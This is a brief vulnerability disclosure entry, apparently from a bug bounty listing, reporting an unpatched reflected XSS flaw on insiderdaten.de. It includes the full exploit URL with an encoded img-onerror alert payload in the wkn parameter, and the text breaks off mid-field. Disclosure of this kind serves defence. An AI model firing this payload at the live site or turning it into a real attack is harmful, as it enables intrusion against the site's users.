insiderdaten.de XSS vulnerability

Vulnerable URL: http://www.insiderdaten.de/dbtest.php?wkn=a%3E%27%3E%22%3Et%3Ci%3Ep%3Cimg+src%3Dy+onerror%3Dalert%28%27openbugbounty%27%29%3E&submit.x;=23&submit.y;=9 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS Vulnerability status...